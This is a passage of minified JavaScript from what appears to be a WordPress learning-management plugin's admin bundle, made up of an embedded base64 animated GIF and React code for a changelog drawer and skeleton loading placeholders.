eQsWfoTpph0FbMmm06aSaKaX3LXppsMxUhHnA7NSeeVp/j555loQonIjAYCSmGPfCzHJaONPhjInYsaeqiFgdigJ1eKCumoTF25KWmDoXKRQ6eeWmojZmrYoeqqkKp6qlR10VrqpZpycUmsVDXlK6K2IilmrrqiJgVXvv9SlmqwwpaBaaTRJlmrXnk6ux2uu/Yg66eZTqhnmjR06+234BZLqVx+sAqqsf9Ve8y6oy57bafwiibvvMvKuq8b1uarL73TUrstCL8OTCrCL4prAbnnxlpvuOlO4HC2/UaccMGqAXxfv8w2C/GzDXBMrMAW26uxbiR37PHHAUtc58Yr39qyyy+j66rKM9Ncc7f7MlzDzlu2jDHOMV8gNMs982vy0UEnzfPSRUvrNAIVr7v0gUNnDBoDUG9NtLv4CXs11lmPCTbVyFr9tdJZT01wzgK07bbUYqsnbtlmn21zuYGSmQDdddt9MteAKyd4ZXz7jG3XBiQe9dlwtxuz3vL/Lo522nE7Dnnkkis8acydN7b45K12bfnlmPfN7rGHj04636b/vcvjsIO8+uymQpa66qsf7LfrCM59O+6Y6y68fsUbf/zdzuG2PLC/M45yVdHf/Dno7zZ1ffAeIz92Sd1j/7bzxuUwvvc/mw+m+OnP+jv4eLuf/vSZD346C+/Dnzv7TdJfP/sBr3XjQd/+BDhA/i0MgOND4ABhxoH9EXB92sMTAxuIQFGYaxcSVGDzKvg8rHTQg7LzH41E2EEHapByZBohCbNXuN2hxYUqlF/7ZkjDDJpwQQBx4QvLt8P+9NCHNQShafDhwx8SLobxgUoSlVizFcoQL71Lmg6NaBmo/1TRivaT4va69kQohg2LJ6pTGMV4MRueEIxnFKAay8jGNk7PiwW00Bah5sY3moU9Z5ygtsgoxLX10Y/VA6RTdjVIQkLwYbbZ1R3bNkc9HvJoj4Rk/IJYqLXZLpFoDBkm5eS4A3BSfYVkYharVkm69e+TVxmeAkZJSsMx0i8TS6UqP2jITB5uAbCMpdpMaZeUKaGXvtwcMPeoyVcSU5EsPOYkk5kAWyauhKx8TdWUuUxm0q5kBJLb07LZyV/O0icTwyY4w9lMZ07HlRE4J/kWOc516mcC7pQeBXMJIgvU056NUycoBUWxfSqulPH8JzspUE+2eW6b3CSMMB+QzU7wJP+dBT0LCwwGSz5Fc6JfxGQ5JSDNmemlVxaU5IFI0MYyDOJ8ffAI0PRJwyhw5IgtdehDNdPBMcyUlo1oJUBRKkGNGmGn3azpaaA5gpwKYqEGnV0zZCBBSqzUpQDjECzGtT+BMNWaoxNqvNIHJ1gdCZI/CGkVsCRWEFlRK/lKYCixQVSr4lEpXvRDSOLKOjQI5WR2hdBUH+lVbnHqCXJ9Q1rcCgepDqmv5rnjoBZ7h+Dc76oCgWxkkyMOcnRATZY1LGYvUAi0au2sn41JYQ9R2rt2FrWpzchpvdBa1Y62CbF17WphW9uI3NYKudXtbmnb24C8lrTBXdFsn1rceAyXGMn/Ve5vkdvccDw3CNF17mSpW13pTvej2eXsdW/a3cp+95rh1cd251le7d5vs+m1Lk0e0V7jQqIV8XVvLupbJGrgV73L2K9oheFfuOo3wFEaMIGN0Y0DI9jACvYugBucDQZD+LH9nbAsEmzhC0s4wwrZMIcl4uEPbyrEItYDhkuciBOjGMQVXvGIW+xiQZA4xq9SMY1FMuMb6yTHOuYVj3s8BRsDWSZCHvIW3GFkRXgkyclyCZOl4pMna8UmUh5qlKtcVipjOcsm2bJSDOLlJhc5zJUYM5m5/OAzfznNakYCjNvs5vvCec30nTOdR2FnmdY5z1DGM5/v7Ig/6xm+ggZ0CGALXQJCi7gAACH5BAUEAAIALPgAWAAxAK8AAALPlG+Ay+3PQJhTwYsj3cHm/0jcBpbauHkmKKKUumat28UlndogTuksD/OFcEHhcFQ0QmY1pfMJjUqn1Kr1is1qt9yu9wsOi8fksvmMTqvX7Lb7DY/L5/S6/Y7P6/f8vv8PGCg4SFhoeDgFoJhkpYikxcTB+MQzcRWJclVpabUZoLkJCnRZmUW0xaSIuMra6voKGys7S1tre4ubq7vL2+v7CxwsPExcbHyMnKy8zNwch1mRBf1CWtq4OWnkmS20fV3J7TNNUk0TbjR9/rS4iFAAACH5BAUEAAIALP4ATABDALsAAAL/lI9pwKAPo5wThHsd3bwfi4WaR5ZfiAbm2oGpyMaR+2KjjAt0neX4zuv5WMCgamgqGm9IjjLYLD1rzGjF+KpaO1jt1hP0fsGvcS4lNpNt6rOwjXvDZYH0/I7P6/f8vv8PGCg4SFhoeIiYqLjI2Oj4CBkpOUlZaXmJmam5ydnp+QkaKjpKWmp6ipqqusra6voKGysbyIBix1fLI5jb5ceLhaH3C4xyN0ycAodMjLfMcxvlXKYnzbYnzeCHnA24BN2c9Z1nK86XUd6HPrvO3u7+Dh8vP09fb3+Pn6+/z9/v/w8woMCBBAsaPIgwocKFDBs6fAgxosSJnqrV4UbNopw7IBovXOuozk3HjCPHdTwCTmNIOidXsjhZB0+DmQ2AYSwAACH5BAUEAAIALA4BPwBOAMkAAAL/lI+JEB2gopy0Wsmcu7x7mmnaR5ZWKDqQybJoqrby98LNOuegDeP6f6jxGsCiQTj0GWdDm3LpavagOSTvSSVZr1mmVIPter6isLiVPC+n6nW5DRXBqbF5/GGnmvP8vv8PGCg4SFhoeIiYqLjI2Oj4CBkpOUlZaXmJmam5ydnp+QkaKjpKWmp6ipqqusra6voKGys7S1tre4ubq7vL2+u7CRCytxjs9FgsxYhMNsy3TDYy+Awt9zdNDdN3jc3mx900+J0dLn7TbPcdnAitzijV7uh0bpgCP2mO+TD/y9/v/w8woMCBBAsaPIgwocKFDBs6fAgxosSJFCtavIgxo8aNPBw7evwIMqTIkSRLmjyJMqVKT8FaunQpqZyKfWpk1hFkcwOhnHjI5dzJ0+dPnDxpZuHZ8w/SpI1eOn1SAAAh+QQFBAACACwiATgARwDQAAAC/5R/EAvoD6OcFKmFQ6u8+3dl2PaVJiiK5Ml6YZq1MvfC2IxDtX3n/sMb/YaOIPF4sK2Qv9SS2cw8oT4plcm4QjXarvcLDovH5LL5jE6r1+y2+w2Py+f0uv2Oz+v3/L7/DxgoOEhYaHiImKi4yNjo+AgZKTlJWWl5iZmpucnZ6fkJGio6SlpqagZwMQWXCrOa1hrExRYr28NmKwKXuxDH65srZ/uaJktcrHSM5qqsNtKMm3o6TV1tfY2drb3N3e39DR4uPk5ebn6Onq6+zt7u/g4fLz9PX29/j5+vv8/f7/8PMOC7YdDK5Co4JhgwY8JsNZT10MiuYRMdvuGF8EuqWgROHBQAACH5BAkEAAIALPgANAB5ANQAAAL/lI+py+0CQJjg2Yuz3lrOH3DiSJaWB1LmyrYPmn6VS9dtLNv6PuIzDww6Yj+h8Rg7KpWg4vKpy0Gn0YCTijVNstzWtQsOi8fksvmMTqvX7Lb7DY/L5/S6/Y7P6/f8vv8PGCg4SFhoeIiYqLjI2Oj4CBkpOUlZaXmJmam5ydnp+QkaKjpKWmp6ipqqusra6voKGys7S1tre4ubq7vL2+v7CxwsHBnR5Fns04ljrLwc4ukMuiyNQ530mYyd8pXZxN1t9T08Tl5ufo6err7O3u7+Dh8vP09fb3+Pn6+/z9/v/w8woMCBBAsaPIgwocKFDBs6fAgxosSJFCtavIgxo8aNKBw7evwIMqRIETIimBSVTds2aylCpWy2UiUzmDFpgpB5c5C4DMucFAAAIfkECQQAAgAs+AAxAH4A1wAAAv+Uj6nL7QoieLTai7NGIPi/heJIVt2HlurKmugbTO1Mqyec1vp+3TjICwo5P9zwyPMVgcjmSrn0yJxUETQ6rWox12V2C3Z0veGyOAr7mteCcVHNLrt/8Xob/YLbtXOcfk/VlwdoJjhIGGaI8od4pCjVCPYIGcmHt1i5dYmZGbj5wdipMxkqSjMZY9pEqtr0SdkqhFoaa/NKW0symxuEytt7+7uzK1zDWnz6moo848vcHPzMQixt+4lb7XKd/fTKzbL9vbKJLU6BV25+jqXe4pbeTnEFH68NWo+fr7/P3+//DzCgwIHjCJZYZjAErIQZmDDEcO8hxIgSK7yoaOEQRgf/aTZyhOGxgZ+QC+iQTPCDXsAuJ4mYbBkhZcs2Y2ZKkHlSAsucN0eS1LkzJFCcHoEG3WiUKEajRysyVSqRadOHUqEylDoPaVUjS7d2dIr1JdWwPseSBRkV61SCamN+BSiBQ1ux+9xiattFJS+7dPCu5cbXi1+61QJfGlz2meFriNEWW6wsRuOLvyBHluI3ayvLl0Fl/kuIc+cUnwnvET2a02fNp1FFjiA3s2lJrpXBXrB6dqDat0KtZr079WFsv3UP481YQ3GuspCT00sz91tjzofbWK5xWnV00HFjp3xdOPdR33NY2Y7mdpLfwHugx9KdC3vjCVCLV79qPvMz4uHT/y7vEAPv+RHfE+y1p0B/aRTozoH0KShZaA7uV5Jw+AFy4GIPdHZhIxkiiIBtDDrxoXGCdGhKiRQm+MaIiWRI3x2eSfMhiPjUmFhdKjrGD44r5lPjFf8E+eONPmanD5HTJXkkeDru6CSTTQYIpJJRVjnlQlhCSZGUXFJZT5CgqSOmkD2KWWQ7ZaZJJppLhukmknBayYmXX3pwZpzmbZllAHnSCaaaa/JopJ6Btmkonk8Cqqidd/7ZJ6SPLtqni6KUaaM5mEJhaSebvinooHUWmminmXwqZ6ilUpqlqZWgOuqcqzr6pauRwNqlrIza6iGmhOqapaRfCgvjlfHg2iifwaeyWqyxqkbK7ITOIrorsfrFCmyzuWYr7aHULhvttd5qKuq44pRr7jfoIkSruFqSOmw/6/ozr7zV2guutaVNeyyjQ7b6b7z05qvvZOzidt9qVQDcwIAQcocVBAIj/HDFo2VRK38Wb2zbARmLxHHI3hgwcYUin5weyd2+ixLKLr+hsrt+PuDwy+GsfLCANu/cKM498PzyFDLP7N5cQKcWm2ygriHdZV8UAAAh+QQJBAACACz4ADAAggDYAAAC/5SPqcvtC4IM4NmLs958zR904kiWWQROlcm27pmC70zPaPyt9c5rN67qCYeMH1CiIyp5xqNkCd01ncmolTSlXrdYZ4wL7mSB1bC5MSaf1450rMyOu9/xOmKesusF+Ny+3uf3xxaINEjolQJ3eFVoyGjmuAgJ5UhBGSaJGZYIMrk5ZPkJ2qNJaiV6itoZpBpl6rrE2hqrVDhaSzOLmzvD2muVyAvsq0X8qnbcSKe89TPcHC09TV1tfY2drb3N3e39DR4uPk5ebn6Onq6+zt5+FeIuchnP8UifMXGvQav/INjvQAbAgP8GKlBk0EOehAmYMTSA4+EBHNDYZZHIB4hEAP9ZKqbjqJEhx44iR0ZMOJKkwZQXV6ak6PLll4EsVfar2fJmTZg6d87Uh9MmvaBTPIojevIeUofxiOZsuhThUKdJ3Tl9ao5jgqtFy4H0ZIBrVW9fYYplmq2sFz5nF2JT24kr3HzV5u6Sy7OZ3VlI5GKttZdvDr9jVQUWLMNv11OHESNUXPhQY8dSIf8cNJny4K2Wwe7JrLlvkc4CCVlCrPWB4r/OTgtOfWH14kau+cL2sTqyENChb3OQrVtKaGFGR+eWOmQ4leJtgCMvpVwR89jO3faIrmL6ieqlmSj3vVv2bOGUwRMRz7rY3Uzig7tgZZ429w9EjsQHg368982f0bv/t6HdEvn9101+U6BjIFpHDXjZOAk2uKB/EIZjoH4UPugZORUSqM2GE35T4YFeedhdhAxmaKKEKF6IYYnghMjhWzBax2KLdDk444og5ljQizzShyOJLpIVoogpngjkkSomWaON9vj445M7RjlPk0gyOSWVQWqp5JI3QsmllVc+0WV7NBJZ5IfbFGnXlkJ+meWbZIrppZQFsqkgN2zOFWAvezbRZy5/PodmmjrquSehd+J56JqJNtrhoz0uauikiDJqqaOY8lNolIECJimcncrpJqllmonlqE6Wuuqpxw15aZhgygkPnahyqmqdn4JaKa6UmuoqaXPaOl+txL4qaq7FeRo765i78irns7FsOuyxhMH665gjRrttqxpGmRW43eoarrffmssqslVKIVskTkq7FXavcWVcndDJiy+n7+6Xb79J7Etev/3eoS2/AuOrg7P3HozwAQUbzHB0Cd9qpy4RyztxsUpcjB3B6la7MMeO/fvxuoAIW14CBQAAIfkECQQAAgAs+AAvAIQA2QAAAv+Uj6nL7QyClODZi7PeHM5fdeJIltqHBubKtlyUgu5M13D81fou3njOCwobvh9liEwWjYFQ8mljppzQKmvJpFq3PemUC+56geFyBmvUmtcLdJoN94yP8frB/VPb13jcft/39VcXiKI3WDbXhLg3d8iY6PUIGSY1SRmGd4lZGbPJGSkDyghQ+jmKmqq6ytrq+gobKztLW2t7i5uru8vb6/sLHCw8TFxsfIycrLzM3Oz8DB0tPU1dbX2NLaSSjbHIbUH33TAh7jBxei1anoCyrmDojiAYHxNv4GnvR4/vjhbv1g8NumelfqwzhWNgM1P+xDFM6PBhvW8MBVKsqC9bRYv/GjdmvLaRI8iQH6uFFGnyJD9rJxuyVLmSWkuXMltCTGlzYs2cKRbecDKz4LxiQgUFpRmsaB4BR2/6UuqFaVOduqA6OoqUllVFFLA6lbWV6zmsWVeFFduObMlUZ9HCI4tFIZxCbs8ZgLuWUl1HCPBSxbQ3ix64cUHRVVTKAeG8gw4LxrD4L6nAiTUQLozJ8dgRlxkDQixXQWfJiPpUvjIaHqe4oS1cxrw6wmkdrz0bq00a2WvYy3bbJuY7923cPX0SV6dsd9nhx8kkVy4cOPShuqcXfx78ejLly6VbR36MO+/w3H8DE2/+l3gsvdFrJ1+eOlH3qqvHfz//frvt66Of/++Pn3f62WXfgOEwZ6AE/NG3H3wMklNgggs+qGCE3xGIYIKtabXeeMN02J16IPrXC4jsOUjhNhlKiCKLK15Y4YvZOSdgihbCqGJ+ADaoY4obgjWifEmZKOR/QYInjIlL/BiLkkWKeCSGNVLIJCxO1jelgVW+ciWSQ0Z54IdEYikmmN70SOGNMKo5Y4xoGshmczlmuWaLOMYZGY90yjlnmTtKuWdqgPpJJZ5+0RhonhDa2WafhMJpqFcBJtnhk0YWGulUiCaqlp5vyomdlqHWOSGpmc406aOChinjoYuWCmp7A245C6aliQUXBJA2FtgYWoiKSK983QEjrTtoFlhfpjB+JqyvxMpp7A7NDitVrLdOa8mzirJqB7J7AWXtZNgaoey2boo77lCrcluaR9NqUQAAIfkECQQAAgAs+AAuAIUA2gAAAv+Uj6nL7Q4ieLTai7N+IPg/beJIllr3paHJtq6Wxt5L17aByurN91uuA/mGRAYwKCwqiUekZ7WM1prOgPT6olaxXJMWCe2KMVVdeIx+lGXpduVrdssh6+f8voAn8fyDPnDWd6cnWOgXFGiI15SouNgR4Sg5SVlpeYmZqbnJ2en5CRoqOkpaanqKmqq6ytrq+gobKztLW2t7i5uru8vb6/sLHCw8TFxsfIycrLyMa8XcAPjMYCed8FFtTY0tsLMds83dXS3TeKyDHScdNJ7OrCX99RyB6B6/LEGvLPGuj99+vI8fsoD5ABI8N/AguYQKvxlsKI5YQH9sjE2c90/YRYz/Mcrx2ihwGMiCGkciFGlyIcqUDkuyTKGLYzQcIGXukWWzo4CaOWfE6nmOpxaPooA6EQpUldEySEOO+rOmKUlQUOs0deqpap2dSNeJqmOVa1eVoMAypTm2YlmzZqBc9bqWLaBEV6kQrcQ2EoS3J7MyvYs2bctPQwEjqGu3KAq9IhDD3eW4b8zIOj9SjpgLMdZbmh9n7kz282WYkEGrFV3XM2fNiSebHrz6NWnUo33STh3aFuukt/me1r1bNa3dPQ0rJZ5xOHLJyoMzn0W8Z2/csJs7rwx8OfZa0Tf/jC78O/jf0Ls/F68dM07zudePJ4/+evX48q9lfz/benr73Lu3/9Zfnzblsbede/jlZ+CBtg1IIIL0BegMgBDep2CEDFZI4X4LJqihhRxO2J9/57niX3EhNnjTgwEaV0qJObFIiouMnIjiTBcqCONTLrb3iow8krhjgbD4KGSPQapnZIk/tkIkkkAqOV+SIkb55JQODnkkfzdqmCGXNHbYJWsjMgkllWRamaKKstm4pZhFSqlgbDXKGWeYa9IJ4pduOgnninjuqaWEd/45qJ2+pflhbdNRF6igjG7oqFRvqinplW0eCmmkgrFpqFBLTiJTXUZ4qYlcGWmY4xymkoSqJlqtcViAm7x6VmCPcmrJqmD4AWimldBaxQq94moJsEfxqmgnuhD2taaHpS57U23EZmIsZgUAACH5BAkEAAIALPgALgCFANoAAAL/lI+py+0OQAjg2Yuz3hzOP3XiSJadBILmyrZiClfuTNconNb6Tt64ygsKPT/c8IgU+IofWfJpYxqh1NlSWs22pCCn9jviTrzg8kZsTp+YZLXbUmy/54yrnI5fRCj3vP8PGCg4SFhoeIiYqLjI2Oj4CBkpOUlZaXmJmam5ydnp+QkaKjpKWmp6ipqqusra6voKGys7S1tre4ubq7vL2+vrGPDLQCGsMFaM8IF80LQs0LWcg5zSlxtTPPWLU237I/zDTXsV4jtOzru33ZuerRthHg77bo7+Dr47T+8+f5+br4/rX79b/wDaKjiwVkGD4hCqO7jwocKI7WYthAeRIoyM/w6vNbzo7aNGaanYHVNy0WSzUiqpoUwZMlRLcClnEvNkjk1NmzjFbNsZU1NOLjsxbvL5s2jQS0OlFOUpFKnLp+PiNWraj+pSS1IjINBa0VJTr3rAuowagxtVhpjmZVi7VdXaqq/mxkVlN2zJvGdZzaXb6u9dU4L1nvoLeBXiwaQWG2ZZeKNfx333RiZpmS9mvIjHTaYMTW5nxjJHPxbVmS1k05UJp5Z4+PVpUKlVj6rtOTNoZbovr4wtu3Xj2qRxEp9t/Pjm4cqBAA8e2nXz36uhO6/Oejlq3LmlTz+HPTtv79ZPht9tnvn3m+d9j1e//nl88uWD0RcP/jb37vDry973fx969rXn3oD94WegftzBtt2CHh2In1Vt7WdHgOhJyBSFDyroYHQc4rZhgx1SJyKIwtGm4YmfUFghge5hKFaKHpb43X/l2Ygfjujp6B6PmuVHI4I+mnXdhwC6CJeKK+4XYpAXDvmUZBb+mKCROUKplHalmaglilySaOWLnH0JZJhU9rbjmOXBOGGNaJ75ZpJFIgmUklteGWeUXTpJJHtqiknJU3XcSIlUfr4EqCSGprfmJFgNRKiii5oXYaGTnoOnpJce8KSlkzqRZqCXgkpllZE8WlmpbBqCanoCFAAAIfkECQQAAgAs+AAuAIUA2gAAAv+Uj6nL7Q5ACODZi7PeHM4/deJIlp0EgubKtmIKV+5M1yic1vpO3rjKCwotP9zwiDz4ipSkU7gsPqe7qJGKpTGb2W7LOpF5x6Yf+bzyidHstvsNj8vn9Lr9js/r9/y+/w8YKDhIWGh4iJiouMjY6PgIGSk5SVlpeYmZqbnJ2en5CRoqOkpaanqKmqq6ytrq+gobKztbRrvAZXsQlqsbwivwsUYLIiybk5tSDBtjezWLo9xq9gw9C2YtFRvxE526Pf0aAdZ9Kn4dLs6Nnu7Maj7u+n7u/q5OX9/uLW+vKv8Ncw8fs37+rJALVXAeqoT8yjHMVyohvIUSwZmSqHDTv13/AjAa1LSRmUeLlMDEGFmtksmTKAFW2sKyIkRIMJO1TFayZjCPIT/k1EmBZ0aaOisI/ThpZTADR0kS5bam6cxHaqIdRSrqqlNPWqdyuooVFNitX7u6RDh2oNi0ONGaPbb2LZC4cjl+AtvT1128ZDPhHarxb0qugr1e+gvYL2LDlhCHDVz4bNnIcCfzZVzS8WDIlJd2cpy4sWbMkkBbITy6MkjQmxWnJvaZNWlIpvtmlq0ak+nTlherdf3a82rcuUUTnws8uN7kvour3D3b0e7Hxo/b1Q399+HskrdzR+69dvfq1gNwLn9eufnh4p0nnR6d0XTezJuDJ68+vX3h4csfzqQ6n3bPwdcWdgTCVt9+uPRn3X/SBVggg8o52Mh8UVAoH4QIGvjddfhNyF57/H2ooH4lhmidiZ2tl+CKKl5234Ai+oSigixyiF6NK2KYYYcLSrjji3X1phyRJ+oII41I1nUjjgry2GODRia5XItDTsmWkksKJSCQV2IpVYxehqnlljd5aCVP46V5ZpNmYhShkHDGqUhBDKTYCEzCgMhIUQjwWSdQYhTZp6BKBFkoUIdS6SYiQOmFaKI1DcooVYYylWWZiyh1XaZobrqFMAUAACH5BAkEAAIALPgALgCFANoAAAL/lI+py+0OQAjg2Yuz3hzOP3XiSJadBILmyrYimn6VS9e2AMffzfejHvMJhxZgiohMHowypXPIDD2nvFyQirUBZ9luy0rxil2RyPiMTqvX7Lb7DY/L5/S6/Y7P6/f8vv8PGCg4SFhoeIiYqLjI2Oj4CBkpOUlZaXmJmam5ydnp+QkaKjpKWmp6ipqqusra6vr6GQC7EDaLMMFlu2Nr0MQLkvt6pAtMXAyrM6sTvAqEvPwKJtUqPb0asUVdLctaln3tnQyODa1aRn6Vel7NTLpebb7+ffoOj1o/X1pvb7qfP7pPWjtQAZ3181fOXUFxChHGGNgpILphACUazDSxlsSM/7gwbauwkR+lKBRC/oO0TUZIkZFI4jLJUJLLkhtPOnK5kqM1SDhzXoyUMkxOgZQ+Ghj6E2gKMweQxozodCnBqBSh+ny6aahOiJa0stTkNSnYsA89eSVqlaqKtFfTZT2bcCxZtxjhYr109ivevHE98r1bKa/ewIIBFy1cVq5dul0RMyb89/Fhx8f8UvZlOXLVxpd3Zdbsea9gaYpBd/y8uDLnzjsns+YmerRhlKN11q3dd1LtrahTr139urfv1pJ2244tWzLt3bmBGm++HHdiyNKVOzJ+nHr13663h9aNfXYj7KSBJ99cPLz18erRO3++nhF58fLbq04PX6p277W688XnWp99p/l3HmbgCdjfgfkZiN+CAyrInH4EdgbgIuSBUaEiF04H4X/mFUhcdBFy1yGIsE1oGnL8qWgii6adWOKLLg4HY4MefmhahhoiqGMi87n33ojfxTiccEXOqBV9Ad6I41wMEpkkkEG2aGSUJKKoVoL7HVllW0Ni6WWINg7Xo4UrlsZllzA9uWWWZfqxDgNnWviPiW/ukVIudtIZBRdUKoJTUzkyMpOgaSZS6FFkNhKook6KWUhQ/dH4SJ4IPPqgfP8UAAAh+QQJBAACACz4AC4AhQDaAAAC/5SPqcvtDkAI4NmLs94czj914kiWnQSC5sq2Y5pW7kzXBgp/9s6TedoLCi8/1fCIPOBysqQzuIQ9p9Af9cqLNrFcWmTbDYvH5LL5jE6r1+y2+w2Py+f0uv2Oz+v3/L7/DxgoOEhYaHiImKi4yNjo+AgZKTlJWWl5iZmpucnZ6fkJGio6SlpqeoqaqrrKahHQqkABizABxqozK/BhqwrCiwoEGyM8fCtlXNybg5yMGoWb+gx9GvHzG1pt5ZwNc/35Jf1K/WU9Tr5sCh7uzakenq5eTur+Pu8uL0pfn0+PD6ovjR0mgNqw6fPnCeC+bwSZGGx4jCHEYJW41bqhMGDFcv8ZF0IKV6sjQkdFQopEF6mkSYUFIamkcLKbJJUdz0V8RLOmx0YgK+jUGAnoz5YfJURAMBSlpp9Alya9OfApxUxMm0aVaoQqU6KWqlrtWtWh1q1KwZKFWtGr2Eted05qy/Wt2rKU2n6VOxetJLtxg/LV6xeuTLN5p+ItnLXuX8CP7FrcRRjxxbSLDQcWzJinY2mRJYtT7Hjt3s2iL2O23Jg03dSqUTva/DgE6NCDR7f2Nbty4qK3d7PuLds28M+mdQcvfhqycNrNfjPHvdz4cefPp1GXfnh49urTX8OOTfx68u6av69m9B38duzR2SMfL+u9Z4GG0semX8j+M/yE9NfAFj8ef4P411x55hWInn3/eZfeggbC5mCCDSK4CIHQ8XbghQBKtp5xHY73IYfteTgiiCWGlVkiCqaIyIquVTihhhuepZx8KMrIIIQvwpihdTNiFd6POrHYYo8+5sidgP0ZGd+JQFIGHJTcSRkglSLmZiKWV4ZYU4RCsrTjg1tyGdNkVgKpJB9HLRClIvslkKQiRWwRZ4slNTFlIjQpUaWeKvE5piEvAUqjmYjsidGNR+Z3J6FDEgnIOkgVaqibCxYAACH5BAkEAAIALPgALgCFANoAAAL/lI+py+0OQAjg2Yuz3hzOP3XiSJYiiJrqyo4S+lXtTNcHnNr6TuIgDwxifB+h8Zh44WTIZlAJc0qfuKmVF4ldt9yu9wsOi8fksvmMTqvX7Lb7DY/L5/S6/Y7P6/f8vv8PGCg4SFhoeIiYqLjI2Oj4CBkpOUlZaXmJmam5ydnp+QkaKjpKWmp6ivoVkKpAwYowwcRa9Cqg9Qoie5qTiqJbCvM7WoW6VExs6iMMCvVj2uxMmmUsDU07GmHtip3tUz0dzN2NzJytvaxpDs77qX4e6q4N765cTk/OGf/uqW+NbtnPGz999Tr1k2cwILVNBxEyPChQUjMZDf1JNFYxoiNt/xQyLmxEpKPHKI9CioSIb5HJivtAEmG5LhojjjAdugxX8+NMXwZyppwZAYFPkpdqWiw6lB0loxqXMg0H8ClRp0llTjIaM1ZUqbm2Vr12FWvTSFizbgsr9ufGsmMflbVJ9q1Ot3LVAmVrd9Fbs1Tx8pS4t+1dv0rX1p1KNzBUSHvN/kPUGG6jyIIVRbYGuHFeyJQXG1b8NzHowno7Ix48Guzky5sNXT76ObVW0bJD0D5MOtFrzLdxqy7N+rTl13N1E/cM3HTX2LVXMa/d27ft1cdzH9rNm3pw6653tx6E/bug8MI5V7c6/Pxv4+pno9aMnH37x+DJL38P/37y7bfwy7qmP559/e2nnHsE5jdgevM99x+D0gEYCHbQQAiIhOVdJ+B0/kkXHYcOEqbhgbJ1mBZ3hWQYooIFpijfihRW6F1oG5aYoIoIstjijc59yBWO5vHnI4ZABtndkC/CaCRj7cU1JJMrOtmgkk9C6aGUOmYWpZVVagnijlzSeNaXXx2ZxzJTuiajADqSWUdBPWUJ3ksHXGlISEzAOYhJc25JiJ5vghlmn3L+2aOXJw6qJqCGHuqZomziMVECBQAAIfkEBQQAAgAs+ABsACIAnAAAAv+MjqnLGtCidG/aFvLdKVe+eR84iQZZihAamSNLmTDjvrNQn/eRrzuQ2x2AwR/R5YMBji4jU3VbLotKaW8mndaw2Ssrq21+wV4SOCxDnZ+e5GbN1pjX5Te85rbA4zo7HQ+yxxe4VzchOOh3t6W4aJLXgJioh2gYKUklITmpiQl4uJl56SnWGYoEelo6SpoWsWmF+grLuUBbq3AbBzl0K5qg+4ugu8sK+2kbzJjsu5xLjAwM7Tw8vVqtfN1rDfXMLcKc7Yr9LSdNXHxebr693ieAjgauvp4UL59hf595z9kfR29dQHFtyKFD9o9KwmX/ALaLx3Dho4cHZTUscpFRQ4evGzVmTNMRVciJI6GUBLcRYMotK5u0lPES5UkNMT3Am2mgJk2cNz+q0PkgJRuhQ4UiMfoI6U+dRI8yVdoGaj6pQZ/q7Olz50ysEm1S5drPJU+gYCGKzVqBadmKJreuLUfR7Lyrb5uBRLtiZl60BuXajAsXsN2Cgmmt4ts3cGFVhBe3YleXMeSuNsJOHGh4nONClzFLthFZkLbQjhp7rqQ58WPQm8+Mbt3lNenYnRcUAAA7",alt:"announcement",h:"35px",w:"35px",position:"absolute",top:"50%",left:"50%",transform:"translate(-40%, -50%)"}))))))),l().createElement(Hb,{title:(0,E.__)("Latest Updates","learning-management-system"),open:r,onClose:()=>i(!1),side:"right"},l().createElement(Qe.a,{px:4},l().createElement(Gb,{changeLogQuery:s}))))};const Xb=()=>{var e=(0,Je.mN)(),t=new mt(rt.welcomePage),n=(0,Pn.I)({queryKey:["welcomePage"],queryFn:()=>t.list({})});return l().createElement(Je.Op,e,l().createElement(Jb,{hideHomePage:"yes"===R.hideHomePage}),l().createElement(_g,{defaultSettings:{}},l().createElement(vt.sv,{context:{welcomePageQuery:n,hideHomePage:"yes"===R.hideHomePage}})))};var Yb=()=>Array(6).fill(0).map(((e,t)=>l().createElement(Zb,{key:t}))),Zb=()=>l().createElement(Qe.a,{display:"flex",flexDirection:"column",gap:0,flexShrink:0,alignSelf:"flex-start",borderWidth:"2px",borderStyle:"solid",borderColor:"#EDEDED",borderRadius:"md",cursor:"default"},l().createElement(Qe.a,{position:"relative",height:"full",aspectRatio:".84 / 1"},l().createElement(St.E,{height:"full",width:"full",borderTopRadius:"md",startColor:"gray.100",endColor:"gray.200"}),l().createElement(Qe.a,{position:"absolute",top:2,right:2,borderRadius:"md",px:2,py:1},l().createElement(St.E,{height:"18px",width:"48px",borderRadius:"3px"}))),l().createElement(Qe.a,{bg:"white",px:4,py:4,borderTopWidth:"1px",borderTopStyle:"solid",borderTopColor:"#EDEDED",borderBottomRadius:"md"},l().createElement(ft.s,{align:"center",gap:2,m:0,color:"#383838",fontSize:"16px"},l().createElement(Qe.a,null,l().createElement(St.E,{height:"20px",width:"180px"}))))),$b=["fit"];function ew(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}const tw=e=>{var{fit:t=!0}=e,n=function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?ew(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):ew(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({w:"100%",h:t?"100vh":"auto",minH:t?"100vh":void 0,overflow:"hidden",p:6},(0,q.A)(e,$b));return l().createElement(Qe.a,n,l().createElement(ft.s,{align:"center",justify:"space-between",gap:2,flexWrap:"wrap"},l().createElement(Qe.a,{w:"60px",h:"60px",borderRadius:"full",bg:"masteriyo-onboard-bg",animation:"pulse 2s infinite"}),l().createElement(ft.s,{gap:8,justify:"space-between",className:"menu-wrapper",flex:"1",minW:"0"},Array.from({length:5}).map(((e,t)=>l().createElement(Qe.a,{key:t,w:{base:"60px",md:"98px"},h:"26px",bg:"#E6E6E6",borderRadius:"sm",animation:"pulse 2s infinite"})))),l().createElement(Qe.a,{w:{base:"30%",md:"15%"},minW:"120px",h:"55px",bg:"#E6E6E6",borderRadius:"sm",animation:"pulse 2s infinite"})),l().createElement(ft.s,{justify:"space-between",align:"center",mt:"50px",mb:"50px",gap:4,direction:{base:"column",md:"row"}},l().createElement(Qe.a,{flex:1,w:"100%",minW:0},l().createElement(ft.s,{direction:"column",gap:9,mb:"8%"},l().createElement(Qe.a,{w:{base:"100%",md:"80%"},h:"48px",bg:"#E6E6E6",animation:"pulse 2s 